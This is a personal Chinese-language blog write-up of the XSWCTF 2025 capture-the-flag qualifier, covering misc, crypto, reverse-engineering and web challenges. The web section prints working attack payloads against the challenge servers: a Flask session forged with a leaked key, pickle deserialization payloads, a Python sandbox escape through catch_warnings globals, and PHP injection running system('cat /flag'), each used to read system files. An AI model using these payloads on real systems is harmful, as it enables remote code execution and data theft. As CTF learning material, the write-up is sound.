#
CTF 2025-11-17

XSWCTF 2025初赛 WRITEUP

By lbyxiaolizi 211 Views 58 MIN READ 0 Comments
这算是我第一次正式接触CTF,甚至还是被动接触(悲)
结果也只能说差强人意(毕竟是第一次,也不能奢望太多),总排31,校排9(虽然我真的很怀疑学校里根本就没几个参加的)
接下来就是Writeup了,也是所谓“记录生活”

一、MISC

01 交响曲

观察puzzle.txt,全部是0和1组成,想到摩斯电码,将0替换为.,1替换为-

image-20251116033958088

然后将其转换为文本,观察发现文本开头为504B0304,为zip开头。

image-20251116034104354

Hex to file (binary) converter转换为zip,或使用winhex

image-20251116034526761

解压得到secret.txt,再次得到一大堆1和0(果真是01交响曲

image-20251116034701881

这次的01间没有空格,所以不能如法炮制。不小心ctrl + -了几下,发现好像出现了神奇的东西(真的不小心吗

image-20251116035123621

哇,怎么有点二维码的感觉,但是发现并不是一个可开方的数,所以寻找别的方法。

二进制一堆01什么也看不出来,不如转换到16进制看一看

image-20251116043220705

image-20251116043320883

噔噔噔,又是你50 4B 03 04,再次转zip,从而提取出了flag.txt,我们发现这回的文件有122500个字符,是350的平方,于是使用脚本转化成二维码。

from PIL import Image
from zlib import *

MAX = 350 # 数字的长度为一个整数的平方(如36^2=1296)
pic = Image.new("RGB",(MAX,MAX))
str =""

i=0
for x in range(0,MAX):
    for y in range(0,MAX):
        if(str[i] == '1'):
            pic.putpixel([x,y],(0,0,0))
        else:pic.putpixel([x,y],(255,255,255))
        i = i+1
pic.show()
pic.save("flag.png")

image-20251116043714701

接下来就是补全二维码(如果扫不出来记得反相!!!),然后扫描,得到flag了。

image-20251116045034161

XSWCTF{0c97b383-4f9a-45bc-8da1-87c8f4f6310f}

认识一下SCNU吧

这次比赛里做过最头疼,真的最头疼的一道题,真是考点套套又娃娃啊。(也是见识了一堆奇怪工具

image-20251117022256989

拿到图片,打开看尺寸大小什么的都正常,所以直接一个winhex起手。

文件头是png没有问题,翻到底下发现鸡脚了,果然里面藏文件了。

image-20251117022432432

image-20251117022511309

于是打开kali,binwalk起手,发现确实藏了zip

image-20251117022738266

foremost,把他提取出来。

image-20251117022903799

image-20251117022922052

打开zip,发现这是一个加密压缩包,于是尝试了几组常见组合以及华师相关组合,都没能解开,放弃。

image-20251117023115469

又想到暴力破解,算到第5位还没试开,放弃(

然后我就把这题放弃了……去做别的题了

结果那个晚上刚好别的题写了很久没写出来,所以又爬回来写这个题了((

翻了好久博客,发现图像题的另一种常见考法我还没试过——LSB隐写

下载StegSolve,然后点了很久,出现了二维码(真能藏啊

image-20251117023514529

扫描二维码,出现了plaintext:W0W_Y0U_f0UND_th3_PL4iNt3Xt

本来以为这就是解压密码了,可以万事大吉,结果带进去一试,还是不行。

然后我再次放弃了这个题……几分钟(几分钟后气不过,又回来写了

(好吧其实是看有那么多人写出来了有点不服气

继续搜索搜索,又发现了一个奇怪的关于压缩包的考点——假加密

(写这段的时候把水杯扣键盘上了,霉完了)

image-20251117024934121

按假加密的方法改完发现解压出来的东西完全不正常(

好吧被骗了,这根本不是假加密(好像根本没人骗我其实

琢磨了半天,发现了真正的考点——已知明文攻击

二维码扫出的plaintext:W0W_Y0U_f0UND_th3_PL4iNt3Xt其实是plaintext这个文件的值。

于是新建plaintext,写入W0W_Y0U_f0UND_th3_PL4iNt3Xt,压缩成zip,一看,整挺好,CRC一模一样

image-20251117025454719

然后用Advanced Archive Password Recovery进行明文攻击(这里还有坑,无敌了

image-20251117025642404

提示说没有匹配的文件,欸我想着这怕不是这软件什么年久失修的bug吧,就让继续破着,扫了十分钟,弹出来个没匹配出来……

妈妈生的,又继续查博客,发现好像是bandizip的锅。

于是打开了假加密环节下载的360zip压缩,这下倒是一帆风顺的得到了加密密钥

image-20251117030037896

16dfa261 e63d4d2d 236c4c2c

用这个密钥直接对foremost提取出的文件进行解密。

image-20251117030246967

啊,终于看到了好消息,压缩包被解密出来了。

image-20251117030509357

解压,打开flag.txt,得到flag,下班睡觉!

image-20251117030610972

image-20251117030619578

XSWCTF{SCNU_1S_7H3_OnLy_211_1N_Gd}

问卷

十分钟速通?(逃

二、Crypto

BruteForce

容器题目先连容器喵

image-20251117115612887

image-20251117115631140

得到一串奇怪东西留一旁备用。

接着回去看代码,一眼望去一堆AES,直接开爆(爆的其实是人

image-20251117115946441

好吧,读完代码发现算法其实比较简单,就是用生成的俩一大一小的素数取模的值->字符串->字节作为AES的密钥。

所以一步一步倒推回去就好啦(好吧,因为数字不算很大,所以直接暴力试就好了,刚好对应上题目的BruteForce

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import sys

ciphertext = b'\xb0\xb2%$\x837%a!^\x9b\x16\x91\xa6\x86\x1eZ\x1cg\xfd0T*\x88\xca!\x18d\xd98\xad\t\xc5\xe2\x97\xf2\xc1$\x99n\x80]\xdb\xdc\xea\xedoa'

max_key_int = 2**25

found = False
for k_int in range(max_key_int):
    try:
        key_bytes = str(k_int).encode('utf-8')
        aes_key = pad(key_bytes, 16)
        cipher = AES.new(aes_key, AES.MODE_ECB)
        decrypted_data = cipher.decrypt(ciphertext)
        unpadded_data = unpad(decrypted_data, 16)
        
        try:
            decoded_str = unpadded_data.decode('utf-8')
            
            if '{' in decoded_str and '}' in decoded_str:
                
                print(f"{decoded_str}")
                found = True
                break 

        except UnicodeDecodeError:

            pass
            
    except ValueError:
        continue

    except Exception as e:
        pass 

写完脚本,经过几分钟的暴力计算,得到flag。

image-20251117130109784

XSWCTF{ju57_8RuTe_FoRcE_foRCE33E}

Lagrange

这应该是密码学里最简单的一题了(?

还是先连容器拿值

image-20251117131813647

接下来看代码

image-20251117132153144

取了5个多项式系数,然后构造了一个多项式,结合题目发现这是一道拉格朗日插值法的题。

于是考虑逆向求解,于是构造了一个五阶非齐次线性方程组

$$\begin{cases} c_0 \cdot x_0^0 + c_1 \cdot x_0^1 + c_2 \cdot x_0^2 + c_3 \cdot x_0^3 + c_4 \cdot x_0^4 \equiv y_0 \pmod{p} \\ c_0 \cdot x_1^0 + c_1 \cdot x_1^1 + c_2 \cdot x_1^2 + c_3 \cdot x_1^3 + c_4 \cdot x_1^4 \equiv y_1 \pmod{p} \\ c_0 \cdot x_2^0 + c_1 \cdot x_2^1 + c_2 \cdot x_2^2 + c_3 \cdot x_2^3 + c_4 \cdot x_2^4 \equiv y_2 \pmod{p} \\ c_0 \cdot x_3^0 + c_1 \cdot x_3^1 + c_2 \cdot x_3^2 + c_3 \cdot x_3^3 + c_4 \cdot x_3^4 \equiv y_3 \pmod{p} \\ c_0 \cdot x_4^0 + c_1 \cdot x_4^1 + c_2 \cdot x_4^2 + c_3 \cdot x_4^3 + c_4 \cdot x_4^4 \equiv y_4 \pmod{p} \end{cases}$$

这下简单了,直接写个小脚本丢给mathematica就好了,三句话结束

p = 243407676091977708612440099520886571741;
xs = {113177008219536222176698202215323058183, 
   83533617142628155729602889662824582310, 
   184827870237463229182398178477751213859, 
   45081038376849723199385877867366782829, 
   237158050752303262371055738636614887551};
cs = {106481369258653885521479820611288110683, 
   56585391984112768505754473444957310552, 
   209335935415308926976589590664479359130, 
   100523077025482474233186795667601162633, 
   213519282616578003572797603362022793705};


A = Table[PowerMod[xs[[i]], j, p], {i, 1, 5}, {j, 0, 4}];

coeffs = LinearSolve[A, cs, Modulus -> p]

FromCharacterCode[Join @@ IntegerDigits[coeffs, 256]]

image-20251117131628526

XSWCTF{now_YoU_KnOW_WhaT_IS_IAgr4N63_InT3RPIAte!!}

Loss N-3

这次题目详情直接给了初识 RSA 的小欧拉

又是一道RSA(

依旧先连容器拿值

image-20251117133013030

接下来看代码,发现函数很简单(?

image-20251117133749208

于是直接逆向求解就好了

e = 65537
p = 10941274435182919105869300460627699584210850419963182313935546108483645555403824070585890468263644352616591178074707730632620161733201538736650886795747041
c = 953129182146903943348752334597145577038722063930736585644782279235556730413899711820568752207275839580655103197250587348712057848821240962398311096971349426765136790020495338939167395620480033082517149707834044310090216384677059675805935138053225606713644488965556615515801029384817175431791905939421784763543600872572873845233524465297039791083926438182541391889030027557641505330487364321580844375211002494159129695874910487732415269745597584091249449866407766

N = pow(p, 3)
phi_N = pow(p, 2) * (p - 1)
d = pow(e, -1, phi_N)
m_long = pow(c, d, N)
byte_length = (m_long.bit_length() + 7) // 8
flag_bytes = m_long.to_bytes(byte_length, 'big')
flag = flag_bytes.decode('utf-8')

print(f"{flag}")

得到flag走人

image-20251117133932570

XSWCTF{7HE_1Ir5t_5tEp_t0_KNOckin9_ON_tHe_DoOr_0f_RsA}

三、Pwn

Pwn不会喵

四、Web

File System

这是写的第一道web题,也是感觉最费劲的一集(虽然好像并不咋难

打开网页发现名字叫文件管理系统 v1.0,下方有用户id和权限级别,

image-20251117005844983

点成为vip发现没啥卵用,我的文件发现是文件预览

格式是preview_file?file=uploads/guest/hello.jpg,于是针对这个进行尝试直接访问上一级

preview_file?file=../,发现做了安全限制

image-20251117010701463

于是继续考虑payload绕过限制,先f12拿cookie

image-20251117010850099

发现形式类似flask的cookie,于是猜常用文件名,直到猜到app.py猜中/preview_file?file=app.py

输出了base64格式的后端代码。(话说真的有不靠猜的方法吗

(写一半回来写的,想起来hackbar的test应该也可以

image-20251117011539635

转码为字符串,有image-20251117013638007

image-20251117013747013

得到了SECRET KEY和网页可以上传的消息,并且发现了可以浏览.pickle文件,印证了前面payload的想法。

所以解题思路就是先用secret key伪造vip身份的session,在生成.pickle后缀的payload文件获取flag。

from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = 'aF1xedS3cr3tK3yR3pl4c3InPr0d'

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

payload = {
    'user_id': 'guest',   
    'role': 'vip'            
}
cookie = s.dumps(payload)
print(cookie)

使用脚本生成伪造的session,并获得vip权限,出现了上传文件的窗口

image-20251117014348758

image-20251117014416133

接下来就是生成pickel了,经过多次尝试,最后发现只有eval可以正常运行(真的,人快试亖了

然后就是老套路,先find,在cat,得到flag走人。

import pickle

class find:
    def __reduce__(self):
        # 直接输出flag内容
        code = "__import__('os').popen('find / -name \"*flag*\" ').read()"
        return (eval, (code,))

with open('find.pickle', 'wb') as f:
    f.write(pickle.dumps(find()))
import pickle

class cat:
    def __reduce__(self):
        # 直接输出flag内容
        code = "__import__('os').popen('cat /flag').read()"
        return (eval, (code,))

with open('cat.pickle', 'wb') as f:
    f.write(pickle.dumps(cat()))

image-20251117021407568

(发现每次flag都在很显眼的地方

image-20251117021614092

XSWCTF{e816ea00-aa32-434a-9ede-2facdbb2bf0a}

easy_ssti

题目给出了提示让进行ssti,打开网页f12进cookie发现依旧session

image-20251116185730796

尝试直接暴力拼接cookie的payload,获取目录,发现竟然能行(题如题名?

image-20251116185850490

image-20251116185904033

尝试查看app.py,依旧payload。

image-20251116190404596

得到

Hello from flask import Flask, request, make_response, render_template_string import jwt app = Flask(__name__) SECRET_KEY = "AYQABiABDIHCAcQABiABDIHCAgQABiABDIGCAkQLhhA0gEIMjY5M2owajGoAgiwAg" @app.route('/') def main(): session_cookie = request.cookies.get('session') if not session_cookie: payload = {"role": "user"} token = jwt.encode(payload, SECRET_KEY, algorithm="HS256") template = '<h1>Hello {{ role }}!</h1>' response = make_response(render_template_string(template, role=payload['role'])) response.set_cookie('session', token, httponly=True) return response else: try: payload = jwt.decode(session_cookie, SECRET_KEY, algorithms=["HS256"], options={"verify_signature": False}) role = payload.get('role', 'unknown') template = '<h1>Hello %s!</h1>' % role return render_template_string(template, role=role) except jwt.InvalidTokenError as e: template = '<h1>Invalid session!</h1><p>Error: {{ error }}</p>' return render_template_string(template, error=str(e)), 401 if __name__ == "__main__": app.run()!

使用SECRET_KEY重新生成payload查看运行目录。

image-20251116191052050

image-20251116191120429

发现上一层为ctf,查看上一层的目录,找到了flag文件!

image-20251116191211092

image-20251116191233198

image-20251116191357227

image-20251116191420186

得到flag,XSWCTF{ss71_iN_Jwt_dbe135be3d3e}

pychecker

看到题目的名字就大概知道了这个题目的做法,checker你输入的代码,自然就是继续payload沙盒逃逸了。

具体做法就要观察代码了。

image-20251117000521215

第一眼就被exec吸引住了,这个题大概就和这个exec有关了。(玩过博客的都知道,在php里,exec也是一个非常危险的函数,默认是被禁用的。

    ns = {'__builtins__': {}}

向上看发现空字典,也即函数体内的语句不会被执行。

Gemini老师的话我觉得很棒:只执行函数的 定义,但从不 调用 这个函数

所以我们应该将payload放在函数中而不是函数体内,也即下面的函数

# exec() 会执行 ...payload... 部分
def miaomiaomiao( a = (...payload...) ):
    pass

接下来的问题就转向了绕过这个沙盒,直接RCE了。(话说RCE这词好帅

由于__builtins__带着一堆危险的函数被ban掉了,所以我们只能去选择其他“安全”的函数绕过

也即寻找可以访问未受限 __builtins__ 的类,从简单的‘’起向上找到object类,又从代码中失败的error.html联想向下找到warnings.catch_warnings类,然后就可以用其__init__.__globals__ 属性访问不受限的__builtins__了。

所以接下来就是触发错误,然后让函数执行,从而获取到flag。

所以我们考虑获取一个int函数并将下面获取到的字符串转化成整数,从而引发错误,进而利用python解释器的特性,将获取的信息传回。

然后查找flag的位置并且cat得到走人。

def miaomiaomiao(
    a=(
        [c for c in ''.__class__.__mro__[1].__subclasses__() if 'catch_warnings' in c.__name__][0].__init__.__globals__['__builtins__']['int'](
            [c for c in ''.__class__.__mro__[1].__subclasses__() if 'catch_warnings' in c.__name__][0].__init__.__globals__['__builtins__']['__import__']('os').popen('find / -name flag').read()
        )
    )
):
    pass

image-20251117005221141

def miaomiaomiao(
    a=(
        [c for c in ''.__class__.__mro__[1].__subclasses__() if 'catch_warnings' in c.__name__][0].__init__.__globals__['__builtins__']['int'](
            [c for c in ''.__class__.__mro__[1].__subclasses__() if 'catch_warnings' in c.__name__][0].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /home/ctf/flag').read()
        )
    )
):
    pass

image-20251117005311177

XSWCTF{fbe65099-93d0-4367-af59-1b56bb614d4b}

pphphp

一开始看到的时候试了很久都没试出来个123就直接弃了(

结果快结束的时候冲一下第一页又开始看这个题,发现其实典完了

核心思路就是“PHP”,提到php,就会想到“phpinfo”非常危险(众所周知?

又看到缺少keyvalue的值,所以考虑直接看能不能payload到phpinfo

index.php?key=pcre.backtrack_limit&value=0&test=phpinfo();

image-20251116215859877

发现可以进phpinfo,那么万事大吉了(phpinfo都能进了什么还不能进

image-20251116220026930

直接ls一下根目录,发现flag刚好就在根目录,cat得到flag走人(真的有这么轻松吗

index.php?key=pcre.backtrack_limit&value=0&test=system("ls%20/");

index.php?key=pcre.backtrack_limit&value=0&test=system("cat /flag");

image-20251116220443902

image-20251116220525325

XSWCTF{ea1dee9e-a3c4-4619-81bc-d3fe7e467f5f}

五、Reverse

CO+2FE=

解压一看是class文件,直接反编译起手

image-20251117134258007

image-20251117134348264

发现直接有加密过的flag,脚本就在上面,直接写个脚本解密就好(其实是凯撒加密

mis_flag = "YTXDUG{4_tjnq13_xbz_0g_3od0ejoh}"

def de(ciphertext):

    plaintext = ""
    for char in ciphertext:
        if 'a' <= char <= 'z':
            new_ord = ((ord(char) - ord('a') - 1 + 26) % 26) + ord('a')
            plaintext += chr(new_ord)
        elif 'A' <= char <= 'Z':
            new_ord = ((ord(char) - ord('A') - 1 + 26) % 26) + ord('A')
            plaintext += chr(new_ord)
        else:
            plaintext += char
    return plaintext

flag = de(mis_flag)

print(f"{flag}")

拿到flag走人

image-20251117134751082

XSWCTF{4_simp13_way_0f_3nc0ding}

DEBIG

解压发现是个exe,于是起手塞给DIE查个壳

image-20251117134948255

发现没有壳,然后直接扔给IDA,进strings里找flag相关字样

image-20251117135104872

点进去找到交叉引用直接f5看伪代码

找到了flag的判断代码,发现是一个XOR 加密

image-20251117135224992

接下来就是找byte_404020v5

在IDA的hex里找到了32字节的404020

image-20251117135809796

再在IDA里找到sub_401B1C的地址

image-20251117141727889

然后在x64dbg里寻找v5

在for那行下个断点,然后f9继续跑,随便输32个字

image-20251117143111812

image-20251117142018618

找到rbp-A0后的地址

image-20251117144801935

好了,得到了v5的key之后,写个脚本解密就能得到flag走人了

target = [
    0x31, 0x3A, 0x93, 0x87, 0xB4, 0xA6, 0xA3, 0xAA, 
    0x59, 0x1C, 0x24, 0x1F, 0x61, 0x66, 0x45, 0x57,
    0x87, 0xBB, 0xA5, 0xFE, 0xD4, 0xDC, 0xB4, 0xE2, 
    0x1C, 0x43, 0xEB, 0x86, 0xF5, 0xF7, 0x6F, 0x27
]

key = [
    0x69, 0xC4, 0xE0, 0xD8, 0x6A, 0x7B, 0x04, 0x30, 
    0xD8, 0xCD, 0xB7, 0x80, 0x70, 0xB4, 0xC5, 0x5A
]

flag = ""
for i in range(32):
    flag_char = target[i] ^ key[i // 2]
    flag += chr(flag_char)

print(f"{flag}")

image-20251117145103484

XSWCTF{r3v_debug_ch3ck4bl3_2025}

abcd

解压得到a.bc文件,.bc是llvm中间文件的后缀

llvm-dis ./a.bc反编译得到a.ll文件,查看反汇编代码

或者clang编译成二进制文件,丢进IDA,这里用第二种

image-20251117151448292

还是找flag,f5看伪代码

发现还是XOR,继续找找找

找到ciphertext,接下来是table

image-20251117151936927image-20251117151951723

(其实写题的时候用的方法一,更快一点

image-20251117152211993

然后写个脚本解密,拿到flag走人

def parse_llvm_string(s):
    b = bytearray()
    i = 0
    while i < len(s):
        if s[i] == '\\':
            if i + 2 < len(s) and all(c in "0123456789abcdefABCDEF" for c in s[i+1:i+3]):
                hex_val = s[i+1:i+3]
                b.append(int(hex_val, 16))
                i += 3

            elif i + 1 < len(s) and s[i+1] == '\\':
                b.append(ord('\\'))
                i += 2
            else:
                i += 1 
        else:

            b.append(ord(s[i]))
            i += 1
    return list(b)

ciphertext = r"\\\80\F3\08\14T\EA\0DgExw\C4\8E\1D\1B7I#L\B5\B2\81\8B\92i\83Y\CB\91<\9B\B9\1F"
table = r"\0C\E2\03\08\9E\14\8F+\EAO&\06\DE\A6\EF^\BD\DD\F4\A2?\CDbt\D8%\FE\8A\938\F7\7F\16\C5PLT`n\10\B7\F2\AB[s\B2\E8\A4|r]f\E7\FF\86\DA\CC\87\C6\1BG(\C0\ED*\C7}\1F\FB\E5Sd\09\B9QI'\80\E9>X\B5\D1\A0q\\\9C\EC\F1\D5\AD\E6\C99\9F.#\B6\D3\82\FD\A31y\B4<\F5\D6W;\99_\0FA\89\0E\FA7J\D4\F3\90a~4\A1\B0\9B\D9\11j\D2x\94\F8i\C8: \DC\1E\B1\CE\CAC\EB\9D\15\92\E3\04w3H\A5\91\C1\8D\CF\AC\96\BC\83\1A\1D\C2{\02u\12Z\F0\0A\DB\B8N\C4\BABo=v\CBk2\AF@\FCYR\85\DF\07K\B36\E0\1Cc\8C)\9Am\C3pl\F6E\0D\135\97\8B\D0VF\0B\8ED\BEhM!\BB\81$0/\A9\BF\9S\A8-\01\88\F9z\D7\AA\A7\E1\05\19e\22U\18\98\AE\17\84\00\E4g\EE"


ciphertext = parse_llvm_string(ciphertext)
table = parse_llvm_string(table)

reverse_table = { value: index for index, value in enumerate(table) }

flag = ""

for j in range(34):
    target_char = ciphertext[j]

    index_val = reverse_table[target_char]

    key_byte = (17 * j + 13) & 0xFF

    flag_char_code = index_val ^ key_byte

    flag += chr(flag_char_code)

print(f"{flag}")

image-20251117153018736

XSWCTF{Tki3_i3_7he_s0_c@11ed_abcd}

andxroid

看到apk直接扔jadx反编译起手

image-20251117153344638

打开程序看一眼,直接在jadx搜索文字,直接能搜到,美滋滋

image-20251117153431005

一眼看到checkflag函数,直接ctrl+f上下寻找

image-20251117153732720

找到函数,和base64文本

image-20251117153804858

直接丢进base64解码,发现是乱码,发现使用了自定义的翻译表

image-20251117153857102

继续往上翻,找到了翻译表的对照表

image-20251117153959828

写个脚本解密,得到flag走人

import base64

standard = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
custom   = "QWErtyuiopASDFGHJKLZXCVBNM1234567890qwertYUIOPasdfghjklzxcvbnm+/"
target   = "VyFBJkKu5zoh40Fg3hF6NVcq30WYMyng2hok6J=="

reverse = {c: s for c, s in zip(custom, standard)}
std_b64 = "".join(reverse.get(c, c) for c in target)   # '=' 自动保留
flag = base64.b64decode(std_b64).decode()

print(f"{flag}")

image-20251117154312918

XSWCTF{r3v3rs3_andr0id_2o25}

ez_flower

又是exe,直接先走一个DIE

image-20251117154434917

发现没有壳,丢进IDA看字符串

image-20251117154527913

发现直接是一个用标准表的Base64,直接转换,得到flag走人

image-20251117154734491

XSWCTF{n0w_y0u_kn0w_fl0w3r_c0d3}

ezxor

还是exe,一样先DIE查壳

image-20251117154851909

没壳丢IDA,进strings找flag字样进伪代码

image-20251117155048510

发现依旧XOR

image-20251117155330060

写个脚本解密,拿到flag走人

import struct


a = [
    572858400, 168312378, 438770769, 223952385, 1577528605,
    353446922, 437266265, 373907200, 190645788
]

FINAL_BYTE = 14
KEY = b"xsran"
KEY_LEN = len(KEY)
enc = list(struct.pack('<9I', *a))
enc.append(FINAL_BYTE)
FLAG_LEN = len(enc)
flag = ""
for i in range(FLAG_LEN):
    key = KEY[i % KEY_LEN]
    target = enc[i]
    flag_char = target ^ key
    flag += chr(flag_char)

print(f"{flag}")

image-20251117155433101

XSWCTF{x0r_is_7un_f0r_ct7_cha11eng3s}

不知道起什么名字了QAQ

依旧exe,依旧DIE(好像这个都没什么必要DIE,看图标就知道pyinstaller了

image-20251117155600466

用pyinstxtractor.py解包

image-20251117155806181

解包的文件中有主文件命名的.pyc,直接用uncompyle6反编译

image-20251117160148567

打开代码发现了用户名和注册码的生成逻辑

image-20251117160341968

直接写脚本生成注册码,然后裹上XSWCTF{}就得到了flag

import hashlib
import base64

USERNAME = "XSWCTF"
rev = USERNAME[::-1]
xor_bytes = bytearray()
for char in rev:
    xor_bytes.append(ord(char) ^ 7)
base64_result = base64.b64encode(xor_bytes).decode('utf-8')
md5_hash = hashlib.md5()
md5_hash.update(base64_result.encode('utf-8'))
flag = md5_hash.hexdigest()

print(f"{flag}")

image-20251117160633367

XSWCTF{a6ad8691fc6b06eee41bd7a8bb60c82e}

脚本小子tk

依旧exe,依旧DIE,不过这次的DIE终于起作用了(雾

image-20251117160939830

套了UPX的壳,直接去52找个脱壳工具脱壳(我用的UPX Unpacker

image-20251117161105459

把拖完壳的程序丢进IDA,看strings,flag直接出现了,好耶!

image-20251117161213623

XSWCTF{7his_1s_7h3_k3y_2_UPX}

蛇口夺食

解压出来只有一个孤零零的snake,没有后缀,所以要我们猜这是什么文件

直接用编辑器打开是一串奇妙字符,看不出什么东西出来

image-20251117165058693

拖进IDA也没有给出什么有用的信息,直到点开了hex

image-20251117165210721

image-20251117165241083

有一个C1.py,这下露出鸡脚了,这应该是一个.pyc文件

把后缀改成.pyc,用uncompyle6反编译得到了原来的代码

image-20251117165349456

image-20251117165429760

是一个简单的base64,直接解密,得到flag,结束!

image-20251117165512793

XSWCTF{S0_wh4t_1s_pyc?_tellme_tellme~}

JN(没做出来

运行程序,看到标题,在jadx找到对应代码。向上翻找到flagflagChecker的字样。

image-20251116162453042

然后找到MainActivity,查找flag字样,找到了相关验证。

image-20251116163126124

然后进IDA查到了这些,但是恕我头晕眼花,放弃(

image-20251116172714192

Virus(也没做出来

拖进IDA,打开strings发现有flag.txt,探寻是否藏文件(好像并没有

image-20251116012404112

发现有长度检测,并且给出了“40”的限制,遂构造一个40个字的flag,然后运行程序(发现没什么鸟用

image-20251116013138664

程序像病毒一样弹出了一推弹窗,考虑绕过

image-20251116013809432

在x64dbg中打开,并定位至生成该弹窗的位置sub_401C25处,将反汇编指令改为XOR EAX, EAXRET,后运行,只有主窗口弹出。

发现还是卵用没有(放弃

回到IDA,在Wrong flag length: %zu (expected 40)附近寻找,发现了和判断flag有关的函数sub_4018EB,sub_401550,unk_405020

算了,先放弃,不然没时间写writeup了(悲

好吧其实写的第一个writeup就是这个题,结果没写出来(其实是周六晚上知道要写writeup怕写不完,就放弃做新题(实际上也仅有这一个晚上没继续做题)开始写writeup,结果开门黑,第一题就没写出来(大悲

六、AI

AI不会喵

七、OSINT

盒了半天什么都没盒出来

但是总感觉很眼熟的样子,大概是贺兰山的哪?

本文由 lbyxiaolizi 原创

采用 CC BY-NC-SA 4.0 协议进行许可

转载请注明出处:https://blog.vh.gs/ctf/XSWCTF-2025-WRITEUP.html

TAGS: CTF

0 评论

发表评论